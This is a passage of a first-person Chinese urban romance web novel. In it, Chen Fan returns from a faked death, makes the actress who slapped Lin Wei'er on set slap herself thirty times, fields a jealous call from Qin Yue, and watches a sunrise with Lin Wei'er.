自从陈凡被炸身亡后,林薇儿整个人就变了,有时候,她在拍戏的时候,眼泪就会莫名的流出来。
其实,所有人都知道林薇儿和陈凡的关系不一般,但没有人敢当面提,直到安雅说出来。
安雅看着林薇儿惨白的脸,笑容更加灿烂。
她上前一步,几乎是贴着林薇儿的耳朵,冷嘲热讽道:“听说陈凡死的时候被炸得粉碎,连全尸都没留下,真可怜啊,林薇儿,你连最后一面都见不到。”
“啪!”
说完,安雅一个响亮的耳光甩了过去!
这一次的耳光,明显比前两次要重,林薇儿被扇的整个人都踉跄了一下!
林薇儿的脸颊迅速红了起来,但是她没有哭。
“卡!”导演终于反应过来,从监视器后站起来,质问到:“安雅!你干什么?!”
安雅若无其事地的说道:“导演,我觉得这样情绪才到位啊,您看,薇儿现在的反应多真实。”
“你!”导演气得脸色发青,但看了眼周围,制片人不在,投资方代表不在,现场他最大,但安雅背后据说是某个大佬在捧,他也不敢得罪得太狠。
现场的工作人员沉默了,在娱乐圈有人捧才是明星,现在林薇儿只有一个国民妹妹的称号,她没有背后资本,谁敢扶持她?
因为陈凡的死亡,林薇儿的资源在下滑,安雅现在是炙手可热的新星,自然要出风头的,在现场,这种争夺咖位的现象很多。
林薇儿慢慢直起身,她抬起头,问道:“导演,可以结束了吗?”
导演张了张嘴,想说什么,但最终只是叹了口气道:“薇儿,你先去休息一下,冰敷一下脸,这场戏下午再拍吧。”
“不用,现在就玩拍完,我不想耽误大家的时间。”林薇儿摇头说道。
安雅嗤笑一声,道:“哟,还挺敬业,不过林薇儿,你这副要死不活的样子,拍出来能看吗?要我说,你就是因为陈凡**,整个人都没魂了吧?”
“也难怪,毕竟你那些资源,那些戏约,不都是靠陈凡给你拉来的吗?现在金主**,你是不是也该退圈了?”
周围的窃窃私语声更大了,有人拿起手机偷偷拍摄。
林薇儿的手指紧紧攥住了戏服的袖子,但她依然没有反驳,只是看着导演,
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说道:“导演,我们继续吧。”
唉!
导演叹了一口气,如果继续拍,林薇儿的状态明显不对,而且安雅肯定会继续刁难,不拍,今天这场重要戏份的进度就耽误了。
“拍!导演,我们继续拍!”安雅笑着说道:“我的手还能再甩几巴掌,我不介意多给她甩几下!”
“你在动林薇儿一下试试!”
我走进片场,看着安雅,我的声音不高,可却让整个摄影棚瞬间安静了下来!
霎那间,所有人的目光都看向了我。
我站在门口,笑望着林薇儿。
林薇儿猛然转头,当她看见我的那一瞬间,她整个人都呆住了,她眼睛瞪的大大的,似乎是看到了幻影一般。
安雅也愣住了,她眯起眼睛,想要看清我的脸。
导演最先反应过来,皱着眉头走过去道:“先生,这里是拍摄现场,非工作人员不能……”
他的话没说完,我就摘下了墨镜。
导演的话卡在喉咙里,因为一个最不可能出现的人出现了,那就是,我,陈凡!
林薇儿的双手开始颤抖,她的视线模糊,她的眼泪不由分说的涌了上来。
可她却死死的咬住嘴唇,不让眼泪留下来。
我看到她脸上红彤彤的手掌印,我心里说不出的心疼,我不过就是消失了几天而已,这群**就敢欺负林薇儿?
我倒想看看,在上城这个地方,谁还敢动我的人!
我走到林薇儿的面前,摸了摸她的脸,柔声道:“疼么?”
林薇儿捂着嘴巴,拼命的摇着头。
“可是我疼……”我说道。
林薇儿的性格,我是最了解的,她就是不争不抢,单纯到与世无争的性格,凭什么,就要在现场被人欺负?
还是被人用演戏的名义狂扇巴掌!
我忍不了,今天,我必须得给林薇儿出气!
我说完,就转向安雅,我的眼神足够冰冷,就如同一把刀子一样,看的安雅直后退!
“薇儿的脸,是你打的吧!”我冷冷的看着安雅继续道:“怎么,是觉得薇儿没有靠山了,还是觉得你又行了?”
143为林薇儿出气!
我冷冷的看着安雅,安雅在我的注视下,她脸色有些慌张,可她却还强装作镇定!
“甩人耳光,很爽是把?”
“这场戏,剧本上是怎么写的?”
我走过去,拿过导演手里的剧本,导演还在震惊当中,他应该知道我的来历,也知道我是不好惹的主,现在整个上城有点脸面的人,谁不知道我陈凡的名字。
“陈总,就是女二打了女主一个耳光……”导演结结巴巴的说道。
这些天,漫天的报道,说我和林薇儿有私情,因为林薇儿出现在了我的葬礼上,都被媒体给拍到了,这就成了娱乐圈最热的新闻。
“打了几个?”我问道。
“三……三个。”导演说道。
我点了点头,然后对林薇儿说:“薇儿,过来。”
林薇儿看了看我,她一只在紧盯着我的脸,生怕一不小心,我就消失了一样。
我伸手,轻轻摸了摸林薇儿脸上红肿的手印,然后说道:“不用怕,我回来了,谁都不可以在欺负你!”
我转头问向安雅,道:“你打了林薇儿几个耳光!”
“我打她,也不能都怪我,是她的戏没演好老NG,能怪得了我吗?”直到此时此刻,安雅还在为自己狡辩。
“我问你,你打了几个?!”我打断她,声音提高冷冷的问道。
“三个!”安雅的声音小得像蚊子。
安雅脸色惨白,说不出话。
我直接看向导演,问道:“导演,您觉得,演员不按剧本演戏,该怎么处理?”
导演额头冒汗道:“这个……我们可以重拍,可以……”
“不用重拍,就按安小姐理解的来,情绪要到位,效果要真实。”
“不过,既然安小姐觉得打耳光最能体现出情绪,那不如这样,我来给你上一课,让你尝试一下被打耳光是什么感觉,放心,我会用力打,真打,让你感觉到无比的真实!”
“放心安小姐,我会让你体会到,什么叫做情绪到位!”
我的话说完,现场一片哗然!
安雅的脸彻底没了血色,道:“陈凡!你敢!你知道我背后是谁吗?!”
“我不知道,也不在乎,但你打了薇儿,在我这里就不行!”
说着我上前一步,安雅下意识的后退,却被身后的道具绊了一跤,差点摔倒!
“现在,我给你两个选择!”
“一,你自己甩自己三十个耳光,这件事到此为止!”
“二,我让你彻底从这个圈子消失!”
我的声音不大,可我说的每个字,都清晰的传到众人耳朵里。
我冷冷的说道:“我说到做到,不信你可以试试!”
安雅不敢看我的眼睛,在她的眼睛里,我看到了恐惧和惊慌。
“知道韩栋吧,你们上城有名的韩少!最后怎么样,不也是被我给打的满地找牙!”
当我说出韩栋的名字,片场的人更加的震惊了!
他们这才想起来,前不久,我在米其林餐厅一个人单挑数十人,并且揍了韩栋,韩栋虽然喊来了司徒宇,可也不了了之。
“你!”安雅看着我,她说不出话来。
现在的她,应该知道我的背景和能力了!
“导演……”
“主任……”
“你们倒是帮我说说话啊!”
安雅这才想起来向众人求助,可周围的工作人,知道我的来历后,谁还敢帮她出头啊?
娱乐圈的人,多么的现实,你有钱,你就是大爷,你有资本,你就是角儿!
刚才安雅欺负林薇儿时,这些人或是看热闹,或是敢怒不敢言。
而现在,当我出现给林薇儿撑腰的时候,没有人会站出来替安雅说话了!
林薇儿还站在我身边,尽管她现在泪痕为感,可她的眼神,已经不在空洞,她看向安雅的时候,眼神是那种怜悯!
“我……我选一。”安雅几乎是从牙缝里挤出这几个字。
我看向安雅道:“那你自己动手吧?难不成你还想让我抽你?我都怕脏了自己的手!”
我的话让在场所有的人都愣住了!
我对安雅的羞辱,已经达到了极致!
“打吧!”我再一次催促道。
安雅举起手,高高的举起,慢慢的落下。
那一巴掌,扇在她的脸上,就跟没扇一样。
“使劲!”我大声呵斥道。
啪!
啪!
啪!
安雅的巴掌一个接着一个,不过几巴掌下来,她的脸颊已经红起来。
在打了几个巴掌下去,她的脸已经肿的不像样子!
“别老扇一面,在换一个面扇!”我冷冷的呵斥道。
我今天就是要打服安雅,这样以后就没人在敢欺负林薇儿了!
又是一阵扇耳光的声音,不大一会
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儿,安雅的脸就已经肿起来,仿佛变了一个人一样!
三十个耳光,她删完了!
我也没有必要在为难她,我看着安雅,提醒道:“安小姐,你背后的人,如果有意见,让他直接来找我。”
说完,我就拉着林薇儿的手,离开了拍摄基地!
我知道,他们这些人,肯定会议论纷纷,因为我已经听到他们背后窃窃私语。
“陈凡还活着……”
“我的天,刚才那是真的吗?”
“安雅这下完了……”
“林薇儿命真好,有这种男人护着她,她可真幸福啊!”
安雅还站在原地,脸色一阵青一阵白。她看着门口的方向。
她知道,她完了,在上城这个地方,得罪了我,不会再有人用她。
她双腿一软,瘫坐在地上,而在这时候,没有一个人去管她。
摄影棚外,我带着林薇儿快步走向停车场。
我直接扶着林薇儿上了我的车,上车后,林薇儿终于彻底崩溃!
她扑进我的怀里,放声大哭。
“我以为你**,新闻上都说你**,我去了码头,看到了废墟,他们不让我靠近,说里面找到了你的DNA……”
“陈凡,我每天晚上都做噩梦……梦见**……梦见你!”
我抱着她,任由她在我的怀里哭泣,我的手轻轻拍着她的后背,像是哄孩子一样。
“我没死。”他在她耳边轻声说,“那是个局,我是为了骗秦昊。”
“可是……为什么不告诉我……”林薇儿抬起头,泪眼朦胧的看着我问道:“你知道我这些天是怎么过的吗?我吃不下睡不着,拍戏的时候总是走神……所有人都说我状态不好,说我要过气了……”
“对不起。”我擦去她的眼泪,一脸歉意的说道:“这件事,知道的人越少,戏才越真,秦昊是个多疑的人,如果有一丝破绽,他就会察觉。”
“那现在……现在可以了吗?”林薇儿问,“你不用再‘死’了吗?”
“快了,秦昊已经**,他的势力正在被清理,等周叶青那边准备好,我就会复活。”
林薇儿紧紧抱住我,她的脸埋在我的胸口。
“不要再离开我了。”她轻声说道:“不要再让我以为你**,我受不了……真的受不了……”
“不会了。”我承诺道:“再也不会了。”
144林薇儿的心意!
我驾驶汽车,驶出了上城影视基地。
窗外,华灯初上,霓虹闪烁,上城依旧是那副纸醉金迷的繁荣景象。
林薇儿坐在副驾驶,她的手紧紧握着我,她靠在我的肩膀上,我能感觉到她的心境。
我没有说话,我左手握着方向盘,右手摸了摸她的手,示意她不放松下来,她太累了,需要给紧绷的神经放个假。
许久,林薇儿终于平复了自己的情绪,她慢慢的抬起头,眼睛哭肿了,她的妆容都哭花了,可她现在不加修饰的面容,更让我觉得动人。
她看着我,眼睛一眨不眨,她一脸大梦初醒的样子,道:“真的是,好像做一场梦,现在梦醒了。”
“新闻播报你被炸身亡的那天,我笑了,真的,我说这肯定是假新闻,是炒作,你怎么可能会死呢?你是陈凡啊!”
“可是新闻铺天盖地,视频越来越多,还有治安署的通报,直到后来,柳媚笙给我打电话,她一边哭一边说,我才知道,新闻上的内容是真的……”
林薇儿深吸了一口气,她拍了拍自己的胸口,继续说道:“可是我还是不信,我就自己偷偷的去了海城,我去了码头,我对自己说,你那么聪明,那么厉害,你肯定会逃出来的……”
“然后呢?”我问。
“然后我看到了周叶青。”林薇儿的声音更轻了,“她站在废墟边缘,背挺得笔直,但肩膀在抖,白起站在她旁边,手里拿着一个证物袋,里面是一块烧焦的手表,我认得那块表,是你常戴的。”
她的眼眶又红了,但这次她没有哭,只是眨了眨眼睛,把眼泪逼回去。
“周叶青看到我,走过来,她什么也没说,只是拍了拍我的肩膀,我就知道她是什么意思了……”
我驾驶车子驶入了一条小弄堂里,我放慢了车速,在听林薇儿的心里话。
“我回到车上,整个人都傻了,我大脑一片空白……”
“你这段时间是怎么过的?”我问。
“不知道。”她摇头,道:“我好像行尸走肉,化妆师给我化妆时,我看着镜子里的自己,觉得那个人好陌生,拍戏时,导演说戏,我听着,但那些话进不到脑子里,拍哭戏的时候,我根本不用演,眼泪自己就会流下来。”
“剧组里的人开始说闲话,他们说我状态差,说我过气了,说我靠山倒了就原形毕露,安雅开始在各种场合挤兑我,但我没反应,不是我不在乎,是我真的没力气在乎。”
车子开出了弄堂,在一个红绿灯前,停下,这次,我转过头,认真的看着她。
我没想到,我的假新闻,给她带来了这样的伤痛,这让我心里很不舒服,但我当时也是没办法。
林薇儿迎上我的目光,眼神背上的看着我说道:“陈凡,你知道最可怕的是什么吗?不是那些闲言碎语,不是工作上的压力,甚至不是失去你这件事本身。”
“是什么?”
“是每天早上醒来时的那个瞬间。”
“我每天睁开眼睛,有那么一两秒钟,我的脑子是空白的,然后记忆涌进来,你**,然后心脏那里会传来一种疼痛,疼到我无法呼吸!”
“每一天,每一天我都要重新经历一次这个过程,然后拍戏,吃饭,说话,笑……所有的事情都蒙着一层灰,所有快乐都打了折扣,所有痛苦都加倍。”
“就这样过了一个星期。”林薇儿继续说,“我瘦了八斤,我去看医生,医生说我有轻度抑郁,开了药,我把药扔了,我不想吃药,我不想让药物麻痹那种疼痛……因为那是和你有关的最后的感觉了,我不想连那个都失去。”
她的话犹如一根针一样,刺进了我的心里,我没想到,我会让她如此的难过。
“后来呢?”我的声音有些哑。
“后来……我去了我们常去的那家餐厅,我点了你爱吃的菜,坐在我们常坐的位置,老板认出我,小心翼翼地问是不是等人,我说是,我就那样坐着,从中午坐到晚上打烊,你却没有再来。”
她笑了笑,那笑容很是苦涩。
“我喜欢坐在那里,坐在那里的时候,我突然觉得……也许你没死。”
“这不是幻想,不是自我安慰。”她认真地说,“就是一种感觉,我总感觉我们的故事还没有结束,好像还有下一章。”
“你的直觉真的很准。”我说道。
“所以今天在片场
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,安雅扇我耳光的时候,我其实没觉得多疼,不是麻木,是觉得……这些都不重要,她在说那些羞辱我的话时,我在想,如果这时候你能出现,该多好。”
她看着我,眼睛亮了起来:“然后你真的出现了,就像电影里的英雄救美,在最绝望的时候,从天而降。”
“我不是英雄。”我说。
“不,你就是我的英雄。”她坚定地说道:“你一直都是。”
我把车开进了一个高档住宅,这里只有周叶青知道,是她特意给我准备的。
我没有立刻下车,而是熄了火,车里只有我们两个人的呼吸声。
“陈凡,”林薇儿轻声问,道:“这些天,你在哪里?”
“在不同的地方。”我说道:“我计划假死,引出秦昊的余党,同时准备‘复活’后的反击。”
“辛苦吗?”
“还好,比听你说这些容易。”
她笑了,这次是真的笑,眼睛弯成月牙:“那你现在听完了,有什么感想?”
我看着她,看了很久,然后说:“对不起。”
“为什么要道歉?”
“是我不好,让你经历这些。”我真诚的说道。
林薇儿摇摇头:“你不用道歉,这不是你的错,而且,就像你说的如果你没有假死,可能现在真的已经**,那我宁愿经历这些的痛苦,换你现在活着。”
她说得那么理所当然,那么真挚,让我的心再一次被融化。
“林薇儿,我不值得你这样。”
“值不值得,我说了算。”她伸手,轻轻碰了碰我的脸,道:“陈凡,你知道我最喜欢你什么吗?”
“什么?”
“我喜欢你的真实。”
她的手指划过我的眉毛,我的鼻梁,最后放在我的嘴唇。
“你不是那些追我的公子哥,不是想靠我上位的男演员,不是任何带着目的接近我的人,你就是你,你在我面前,从来都不伪装。”
“这段时间,我想了很多,想我们之间的事,想我对你的感情。”
“最开始,你确实帮我很多,给我资源,保护我不被圈内的潜规则骚扰,我感激你,也依赖你,但后来不一样了……”
145秦悦的醋意!
林薇儿看着我,我也在注视着她的眼睛。
今天的她,让我有了新的认识。
“什么时候开始不一样的?”我问。
“记不清了,可能是你对我的好,可能是不知不觉间,总之,我发现自己是真的爱上你了!”
“我和你的感情升温,或许可能是一些微不足道的小事,比如说,你记得我不爱吃葱,每一次吃饭都会特别交代,你记得我所有的喜好。”
“这些都是小事。”我说。
“就是这些小事,才最打动我的心。”林薇儿笑着看向我说道:“陈凡,是你让我知道,你不是只把我当成一个漂亮的女明星,一个可以炫耀的战利品,你是真的……在乎我。”
车厢里很安静,安静得能听到彼此的呼吸声。
“陈凡……”她看着我,深情的对我说道:“我爱你,不是感激,不是依赖,是真的爱你,在以为你**的时候,我真的好后悔,我后悔没有第一时间对你说,爱这个字。”
林薇儿忽然将头靠在了我的肩膀上,她抓着我的手,握的很紧。
“现在真的很好,你还活着,我还有机会,所以我要对你说,十遍,百遍,陈凡,我爱你,不管你的过去有多少秘密,不管你的未来有多少危险,我都爱你,我想和你在一起!”
我看着她的眼睛,那双漂亮的眼睛里,此刻没有任何犹豫,没有任何算计,只有最纯粹的情感和决心。
“林薇儿……”我开口,声音有些哑着说道:“我的世界很复杂,很危险,今天你也看到了,即使假死这么多天,还是有人想伤害我。”
“我知道。”她点了点头道:“我不怕。”
“可能会连累你。”我说道。
“那就连累。”林薇儿毫不犹豫,道:“反正这一个月我已经经历过了最坏的结果,失去你,现在还有什么比这个更可怕的?”
林薇儿说的没有错,这段时间,她确实经历很多,她从当红的国民妹妹,到片场被人欺负,她已经独自面对过了。
林薇儿越是懂事,我就越是心疼她,她说的没错,最难的时光,她都熬过来了。
我毫不犹豫的伸出手,将她拉进了我的怀里,她的身体很软,很温暖,带着特有的香气,她靠在我的胸口,双手搂着我的腰。
她将头靠在了我的胸口,然后轻声对我说道:“陈凡,请你答应我一件事情。”
“什么?”我问道。
“不要再**,不管是真的还是假的,都不要了,我已经承受不了第二次了。”
“好,我答应你!”我点了点头认真的说道。
“真的?”她雀跃的问我。
“真的,”我点了点头,道:“再也不会了。”
林薇儿笑了,她的笑容很灿烂,就如同盛开的花朵,然后,她轻轻凑了过来,吻了我。
她很小心,生怕惊醒这个美梦。
我也回应着她,当我们分开的时候,她的脸颊绯红,眼睛里含着泪花,就像是蒙了一层水雾。
“陈凡,”她轻声说,“带我回家。”
“这里就是。”我说道。
林薇儿摇了摇头,到:“不是这里,这里只是你的临时住处,我说的是,我们的家。”
林薇儿着重说了这四个字,我们的家,我在她的眼睛里,看到了一种情绪,叫做归属感。
林薇儿想要和我成立一个家,她想要单独的住处。
“好。”我点了点头,答应下来道:“等这一切结束,我们找个地方,安个家。”
“说话算话?”林薇儿问道。
“说话算话。”我说道。
“那我要一个能看见日出日落的家,我最想要做的事情,就和你一起每天看日出日落,真的浪漫级了!”
林薇儿说着,抬起头看着我,她的眼光犹如繁星闪烁,明亮美丽。
我知道,家这个字是一种责任,但我愿意给林薇儿。
我给她的不是房子,不是地址,是一个可以卸下所有伪装,可以放下脆弱的地方,不管外面多少风雨,这里都是她的港湾。
“陈凡。”她又叫我。
“嗯?”
“如果……如果将来有一天,你真的不得不再次离开,不管是假死还是别的什么,一定要告诉我真相,不要让我再
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经历一次那种……以为永远失去你的绝望。”
“好。”我承诺,道:“再也不会了。”
她满意地笑了,在我怀里蹭了蹭,像一只找到了归属的小猫。
我和林薇儿下了车,这一次,她没有选择戴帽子,而是光明正大的挽着我的胳膊。
我笑着问道:“你就不怕狗仔队偷拍了?”
“我还会怕么?”林薇儿说道:“从你的葬礼上出来,我和你的关系就已经被发到娱乐头条上了,我也不想再遮遮掩掩了,很累的。”
说着,林薇儿的肚子就饿得咕咕叫。
“想吃点什么?”我问道。
“都可以,随便填饱肚子就行。”林薇儿笑着说道。
于是我和林薇儿就找了一个小饭馆,这里没有很多人,也算是安静。
林薇儿简简单单的点了一碗牛肉面,然后安静的吃了起来。
林薇儿将一块牛肉放进我的嘴里道:“尝一尝,真的好香。”
我咬了一块牛肉,这一顿饭,我们两个人吃的很温馨。
就在我快要吃完饭的时候,我的手机忽然响了。
我看了一眼,来电显示是:秦悦。
我看了一眼手机,又看了一眼电话,然后我走了出去,接起电话。
“陈凡?”秦悦的声音从听筒里传来,带着一丝急切,问到:“你在哪里?”
“我在外面。”我说道。
电话那边听后,沉默了几秒钟,然后秦悦接着问道:“你现在是不是和林薇儿在一起?”
秦悦的这个话题很直接,我没有立刻回答,直接反问:“你是怎么知道的?”
“网上已经有照片了。”秦悦的声音平静,但我能感受到她情绪上的波动。
“你出现在片场,然后带走林薇儿,虽然拍摄的人离得远,照片模糊,但我认得出来是你。”
秦悦说这番话的时候,我能明显的感觉到,她语气中的不悦。
但我又不想隐瞒她,因为这些事她已经知道了。
“是,她在片场被人欺负,我去接她。”
“只是接她?”秦悦追问,道:“还是有别的?”
146林薇儿的真心!
秦悦这个问题,我听出了她话里的不安和试探。
我理解她的感受,她虽然说过,不在乎我能不能给她一个童话般的爱情,可现在我和另一个女人在一起,而且还是在她带我回家见父母后,她心里当然会不舒服,亦或者是吃醋了。
“有些事情,我需要处理一下。”我说道。
“比如林薇儿?”她的声音微微颤抖道:“陈凡,昨晚我们才在一起,今天你就飞去了上城?”
秦悦的话没有说完,昨天我在杭城,我们确定了关系,今天我却陪着另一个女人。
但是没办法,我就是这样的“花心”。
我并不想解释自己的行为,因为我知道我这样不对,但我也知道,如果我不来告诉林薇儿,她会很难过。
“她以为我**,而且这段时间,她过得很不好,今天在片场,有人当众羞辱她,提到了我的‘死’。”我声音平静的说道。
“所以你就像一个英雄一样出现,在所有人面前保护她,带走她。”秦悦接话打破。
在秦悦的话里,我听出了醋味。
“我不能看着她被欺负。”我说。
“那我呢?”秦悦终于问出了这个问题道。
这个问题并不难回答,我说道:“你对我来说,更重要,不然我也不会去救你。”
这种情况,我不能在激化矛盾,我只能哄着秦悦说道:“我知道你担心什么,你和她不一样,你是秦家大小姐,你有家人,有地位,有保护自己的资本,但林薇儿不同,她现在没有经纪人,没有资本,看似光鲜,其实很脆弱。”
秦悦那时候被囚禁,她没有去殡仪馆,不知道我有几个女人的事实,可能在她的心里,她只知道我和夏颜的事情。
所以难怪她看到我和林薇儿的照片,会整个人有些破防。
“所以你需要保护她。”秦悦的声音冷了下来。
“对不起。”我说出了今晚的第二次道歉。
电话那头传来一声苦笑:“陈凡,你知道吗?最伤人的不是你说对不起,而是你连骗都不愿意骗我,如果你现在说,你和林薇儿只是朋友,只是看她可怜才去帮她,我会选择相信,但你连这个都不说。”
她顿了顿,声音更轻了:“因为你知道,那不只是同情,对不对?”
我没有否认。
“我明白了。”秦悦深吸一口气,问道:“那就这样吧,你今天还回来吗?”
这个问题问得很实际,但也藏着最后的试探。
我看了看小饭馆,里面的林薇儿正在慢慢吃着面,我有点于心不忍。
“可能不回去了。”我说道。
不管怎么样,今天的事情,秦悦都知道了,给她打个预防针也好。
电话那头是长久的沉默,久到我以为信号断了,但背景里隐约能听到她的呼吸声。
“好。”秦悦终于开口,声音恢复了往常的清冷。
“那你陪她吧,需要我这边做什么吗?比如,让那个叫安雅的女演员从此在娱乐圈消失?”
她的语气很平静,但我知道,如果我说需要,秦悦真的会去做,但她不是为了林薇儿,是为了我。
“不用,这件事我会处理。”我说道。
“随你……”秦悦说道:“那先这样,我爸今天问起你,我说你有事要处理,晚点回来,现在看来……我明天得想个新的说辞了。”
“秦悦……”我想说什么,但话到嘴边又咽了回去。
“不用说了,你早点回来。”
秦悦说完,她就挂上了电话。
我手里拿着电话,听着里面的忙音,无奈的无效,这就是女人多的下场么?
等我回到小饭馆里,林薇儿已经吃完饭了,她正坐着等我。
“是她打来的?”她轻声问。
我愣了一下:“你怎么知道?”
“女人的直觉,而且你接电话时的表情……很复杂。”林薇儿苦笑道。
“是秦悦。”我没有隐瞒。
林薇儿点点头,没有追问,只是安静的看着我,她的侧脸在月光下显得很柔和,也很脆弱。
“陈凡……我知道我不该问,但我还是想知道你和秦悦,现在是什么关系?”
这个问题和秦悦刚才问的一样直接。
我拉起林薇儿的手,走出了饭馆,然后上了车,我发动汽车,街道两旁的灯光流光溢彩。
“秦昊死后,秦家内部需要有人站出来,秦悦是唯一的
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继承人,但她需要支持,我救了她,她带我回家,她父亲认可了我。”
“所以你们……在一起了?”林薇儿的声音很轻。
“是的,我们很早之前,就在一起了。”
我不想隐瞒什么,林薇儿听懂了我的话,她的身体微微一僵,但很快又放松下来。
“我明白了。”她说,声音平静得让我意外。
“那你现在怎么想?”她问到。
“我不知道,我的生活很复杂,有敌人要对付,有盟友要维护,有过去要清算,感情……从来不是我优先考虑的事情。”
“直到你以为自己快**的时候?”她转过头看着我,“直到你以为永远失去某个人的时候?”
我没有回答,因为这种感受,我只在夏颜的身上体会到过。
车子在红灯前停下,林薇儿伸手,轻轻碰了碰我的手臂。
“陈凡,我不要求你只属于我一个人,我知道那不现实,但我要你答应我一件事,那就是不要骗我,我可以接受分享,但不能接受欺骗。”
“如果我说,我现在给不了任何人承诺,你会怎么想?”我问道。
“我会说,那很正常。”
她笑了,笑容里有些苦涩,但更多的是理解。
“陈凡,你以为我这些年在这个圈子里是怎么过来的?我见过太多虚伪的感情,太多利益的交换,你至少是诚实的,你承认自己复杂,承认给不了承诺,这比那些满口甜言蜜语却转身就背叛的人好太多了。”
她靠回椅背,看着窗外流逝的城市,她似乎是在思考着什么,良久,她微微开口。
“所以,我们就保持现在这样吧,你需要我的时候,我在,我需要你的时候,你出现,不给彼此压力,不要求永远,只珍惜现在。”
她说得轻松,但我听得出话语背后的无奈和妥协。这不是她真正想要的,但这是她在现实条件下能争取到的最好结果。
“这对你来说不公平。”我说。
“爱情里本来就没有公平,只有愿意和不愿意,我愿意这样,因为比起完全失去你,我宁愿拥有不完整的你。”
“或许,只有失去过,才更明白珍惜的含义吧……”
147浪漫的林薇儿!
“也许,有一天,等你所有的事情都解决了,等你不必再面对那些敌人和危险的时候,等你真正放松下来的时候,也许,我们会有一个不同的结局。”
“你就这么相信我?”我笑着问道。
二十岁出头的年纪,林薇儿的成熟是我没有想到的。
“我相信你。”她看着我,认真的说道:“也相信我自己,所以,我选择等待,以朋友的身份,以恋人的身份,以任何你觉得舒服的身份,只要你需要我,我就在这里。”
“陈凡,今晚陪我好么?”她转过头轻声的问着我说道:“不是去酒店,也不回那个所谓的临时的家,我想和你去看日出!”
看日出这件事,林薇儿和我说过很多次了,她真的很喜欢,那我就答应了她。
“好!”我答应了她。
于是我调转车头,直奔能看到日出的山而去。
我驾驶着车,行驶在漆黑的山道,林薇儿坐在副驾驶,她的怀里抱着一个帆布包,是在超市里买到的,里面放着她要的毯子,零食,还有热水。
她看起来精神很好,状态也不错,没有工作一天后的疲惫,她眼里闪烁着期待的光,像是一个要去郊游的孩子一样!
“你怎么知道这个地方的?”她看着窗外掠过的树影问道。
“以前来过。”我简单回答。
“这里的日出,很美吗?”林薇儿追问道。
“很美。”我回忆着说道。
林薇儿笑了笑,心满意足道:“那我可是非常期待了!”
我继续开着车,夜晚的山路很漆黑,林薇儿提醒我小心开车。
终于,在车子开了二十分钟后,爬上了这个山的山顶。
这里不是正规的观景台,只是山崖边一块相对平坦的空地,长着些低矮的灌木和杂草。但视野极好,正对着东方连绵的山脉,脚下是深不见底的山谷。
停车,熄火,整个世界瞬间陷入一种深邃的寂静。
推开车门,山间的冷空气扑面而来,带着松针和泥土的气息,林薇儿打了个寒颤,我脱下外套披在她身上。
“不用,你自己穿……”她想拒绝。
“穿着。”我打断她,然后给她把衣服拉紧道:“我不冷。”
凌晨的山顶温度接近零度,但我经历过比这更恶劣的环境,林薇儿不一样,她细皮嫩肉的,冻着了明天拍戏都是问题。
她没再坚持,只是伸手握住我的手,她的手很凉,但掌心柔软。
我们从后备箱拿出准备好的东西,两把折叠椅,一个小燃气炉,还有林薇儿带的那个鼓鼓囊囊的帆布包,她在空地上走来走去。
“这里视野最好。”她满意地说,然后开始忙活。
我看着她笨拙地试图支起折叠椅,几次都没成功,最后还是我接手,她有些不好意思地笑了:“我是不是很没用?”
“不是。”我说。
支好椅子,架起燃气炉,她拿出保温瓶倒了两杯热咖啡,我们并肩坐下,热咖啡的香气在寒冷的空气中格外诱人。
林薇儿看着黑漆漆的四周,突然说:“哥哥,要是有点篝火就好了。”
我看了她一眼,道:“山上不准生火。”
“我知道……”她叹了口气,说道:“我就是想想嘛,我小时候在老家,冬天我们就会在院子里生篝火,一家人围着取暖,烤红薯,讲故事。”
她的声音里带着怀念,好像真的回到了小时后一样。
我想了想,站起身对她说道:“等着。”
“你去哪啊?这么晚了!”她略带慌张的说道:“你不要丢下我啊!”
“找点东西,放心,我不会不管你!”我笑了笑。
我打开手机的手电筒,然后走进旁边的林子,这里有许多枯枝,我很快就捡了一小捆,然后捧着柴火回到空地,我用石头为了个外圈,然后将枯枝放在里面。
“陈凡,真的可以吗?”林薇儿有些担心。
“小一点没关系。”
我点燃枯叶,火苗慢慢引燃了细枝,很快,一团温暖的篝火在夜色中燃烧起来。
火光照耀着林薇儿的脸颊,她的眼睛亮晶晶的,她搬着椅子挪到火堆边,伸出手烤火,满足地叹了口气道:“好暖和。”
我们就这样坐着,林薇儿从帆布包里拿出两个红薯,用树枝穿好,伸到火上烤,她烤得很认真,时不时转动树枝,让红薯均匀受热。
“没想到,你还会烤红薯?”我笑了笑说道:“我以为大明星,都是养尊处优呢!”
“讨厌~”林薇儿白了我一眼,然后说道:“小时后,我爷爷交给我的,他说烤红薯要有耐心,不能急,火太大会烤焦,火太小又烤不熟,要慢慢来,就像很多事情一样。”
我伸出手,用火光来取暖,我看着林薇儿的侧脸,这一刻,她更像是一个邻家女孩,简单,真实。
没过一会儿,红薯的香味开始飘散,林薇儿已经开始馋嘴了,我拿下树枝上的红薯,然后递给了林薇儿,她伸手接的时候,我不小心被火苗给烧到了。
“嘶!”我倒抽一口冷气。
“怎么了?”林薇儿立刻扔
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下红薯,抓住我的手。
我的手背上被烫出了一道红痕,皮肤迅速红肿起来,火辣辣地疼。
“都怪我,我不该让你帮忙的……”林薇儿满脸自责的说道。
“没事。”我想抽回手,但她紧紧抓着。
“别动。”
她低下头,然后对着我手背的烫伤处轻轻吹气。
“疼么?”她满眼心疼的问我。
“不疼了。”我说的是实话。
不是伤口不疼了,而是在她这样温柔对待时,疼痛似乎变得无关紧要。
我掰了一块红薯递给她说道:“尝一下。”
她结果,然后咬了一口,开心到:“好吃啊!”
我们就这样,坐在篝火旁,一边吃红薯,一边等着天亮。
时光渐渐地流逝,天边渐渐地升起一层橙红色。
“快日出了。”林薇儿轻声说。
她放下吃了一半的红薯,双手合十,闭上眼睛,像是在许愿。
过了一会儿,她睁开眼,对我笑了笑:“我每年生日都会许同一个愿望。”
“什么愿望?”
“希望有一天,能和我爱的人一起看日出。”她继续说道:“不是随便什么人,是真正爱的人,在安静的地方,只有我们两个人,看着太阳从山后面升起来。”
林薇儿的眼睛看向天边,在地平线上,那个橙红色的光芒越来越亮!
“我想大声的告诉他,这是我人生中最幸福的时刻。”
我没有说话,只是握住了她的手。
天空的颜色由橙红变成金黄,然后太阳缓缓探出头来。
林薇儿瞬间屏住了呼吸。
太阳一点一点升起,林薇儿的眼睛闪闪发亮,她的嘴角上扬,露出了一个无比幸福的微笑。
“陈凡,你看,多美啊!”她激动的对我说道。
“嗯。”我看着她的侧脸,“很美。”
她转头看我,眼睛里有泪光在闪烁:“谢谢你。谢谢你带我来这里,谢谢你陪我看日出,谢谢你……出现在我的生命里。”
